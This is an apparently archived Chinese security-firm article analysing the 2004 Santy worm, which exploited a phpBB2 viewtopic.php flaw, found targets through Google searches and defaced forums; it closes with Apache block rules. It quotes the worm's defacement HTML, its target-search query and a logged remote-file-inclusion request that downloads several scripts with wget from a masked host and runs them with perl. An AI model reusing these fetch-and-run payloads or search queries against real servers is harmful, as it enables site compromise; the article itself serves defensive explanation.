公司介绍
企业文化
员工心声
加盟安络
联系我们
产品简介
 服务体系  
专家检测
检测服务
应急小组
案例分析
咨询建议
系统漏洞
安全工具
参考资料
安全论坛
安全文摘

 业务热线:
  0755-25806402
  0755-25805117
 应急处理:
  13902489787
 总机:
  0755-25817188
 传真:
  0755-25806124
 webmaster@cnns.net

 
 


网络蠕虫的新时代:santy.a worm

文章来源: 

  安络科技 

蠕虫的背景 

  
  Phpbb2是一个很流行的用php脚本语言编写的论坛,该论坛的低于2.0.11版本有个严重的漏洞,就是 viewtopic.php允许远程执行命令!通过该漏洞攻击者可以在服务上运行任何代码。
蠕虫的传播原理
 
  Santy 蠕虫使用perl脚本代码编写,通过该phpbb2漏洞远程执行系统命令入侵主机,一旦入侵成功并获得运行,就开始向google发送请求,搜索可以入侵的主机。 蠕虫的攻击实现的原代码已经在网上公布了。
 
蠕虫的发展过程


  最早的时间可以追溯到19日,这时在http://www.phpbb.com/security/上有一个提交报告:

  该报告应该是说phpBB2中含有一个危险的漏洞。
  接着没过多长时间一个网络蠕虫就在在一个phpBB2的论坛上发现了,所有被感染的网页都被涂改成如下所示:

  这段内容的html代码是: 

  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
  <HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD> 
  <BODY bgcolor="#000000" text="#FF0000">;
  <H1 >This site is defaced!!!</H1>;
  <HR>;
  <ADDRESS>< b>NeverEverNoSanity WebWorm generation } .
  $generation .q{.< /b
  ></ADDRESS>
  </BODY>
  </HTML>

  其中的 generation 7表示该病毒是第7代,最早的受感染的是第1代,每次感染另外一个网站,就加1。我所看到的最大的代数为29。

  该蠕虫是在美国东部标准时间12月21日早晨首次被截获,并起名为Santy.A。

  在12月22日,网络上可谓一篇混乱。利用Google搜索:nerverevernosanity将找到一大堆被感染的网站。该病毒利用phpBB2 (版本<=2.0.10)的viewtopic.php文件的highlight参数的漏洞来远程执行命令。并且该病毒使用google来搜索可入侵站点:
http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all&%20q=allinurl%3A+%22v
iewtopic.php%22+%22%20RANDOM1%20%3d%20RANDOM2%20%22&btnG=Search.


  从而确定下一个使用phpBB2的站点。
  网络上大概有600万个使用phpBB2的站点:

  所有这些都是该蠕虫的繁殖温床!据估计这天就大约有4万的网站被感染。随后,google马上根据病毒提交的请求的特点,把这些请求都封掉。

  如图所示如果你现在使用蠕虫的搜索方法搜索,你会看到如下页面:

  如果不是Google的迅速行动,很快,一场大灾难即将爆发。而Google的迅速行动抑制了该蠕虫的传播。 但很快,santiy的变种就出来了,这个变种santiy.b利用yahoo搜索引擎!虽然如此,yahoo要封杀相应关键字问题还是不大的。 但是要才根本上解决该问题需要使用如下方法把有害的ViewTopic.php文件修正,才不会受感染:
  打开viewtopic.php 找到下面这段:

  修改为:

  或者直接把phpBB2的版本升级为2.0.11也可以解决问题!

  但是12月26日,一个最新变种Santy利用了更为通用的php漏洞,而不是只对使用了phpBB2论坛的php网站起作用。该蠕虫使用了一些这样的代码来上传文件:

  "GET /modules.php?name=http://www.[XXX].net/spy.gif?&cmd=cd%20/tmp;
  wget%20www.[XXX].net/spybot.txt;wget%20www.[XXX].net/worm1.txt;
  wget%20www.[XXX].net/php.txt;wget%20www.[XXX].net/ownz.txt;
  wget%20www.[XXX].net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;
  perl%20ownz.txt;perl%20php.txt HTTP/1.1" 200 21626 "-" "LWP::Simple/5.803"

  这里一共有6个文件:
  spy.gif (which contains a script)
  spybot.txt
  worm1.txt perl脚本代码,这段代码里尝试从Google上搜索可入侵目标。
  php.txt ownz.txt
  zone.txt

  需要注意的是,这些文件会根据不同的主机名而有所改变。通过这些修改后,该蠕虫不再只是攻击phpbb2论坛了,而是所有运行php脚本的 Uinx平台!只要该平台含有File Inclusion的漏洞,通过修改apach的配置文件可以堵住santiy.e这些变种的攻击,例如增加以下的行在apach的配置文件中:

  SetEnvIf User-Agent "LWP::" get_lost
  SetEnvIf User-Agent "lwp-trivial" get_lost
  <Directory /usr/local/apache/htdocs/your_phpdirectory>
  Order Allow,Deny
  Deny from env=get_lost
  Allow from all
  </Directory>

  或者这样修改也可以:

  <Directory /*>
  RewriteEngine On
  RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
  RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
  RewriteRule ^.*$ - [F]
  </Directory>

  截至到目前为止,该蠕虫还没有更新的变种。而且从目前的情况来看,该蠕虫已经得到了很到的控制。

注析

  ◆ Phpbb2 是一个使用php编写的论坛
  ◆ Php 是一个编写动态网页的服务端脚本语言。
  ◆ Apach 是运行于unix 或linux下的Web服务器
  ◆ viewtopic.php是phpbb2论坛脚本文件中的一个,用于查看帖子内容。

对santy蠕虫的思考

  Santy蠕虫的生命周期也是同一般蠕虫一样,phpbb2系统漏洞的公布,出现攻击代码,接着便有santy蠕虫,后面又出现了一系列的变种。值得我们思考的是,santy是利用google的搜索引擎实现了自动搜索存在此漏洞(phpbb2< 2.0.11)的论坛系统实施攻击google封锁了这一搜索功能之后,yahoo又成了新的“替罪羊”。蠕虫架上网络搜索快车迅速传播的手段较以前更为灵活,也是防不胜防。唯一根本解决方法就是要关心系统的更新信息,勤打补丁。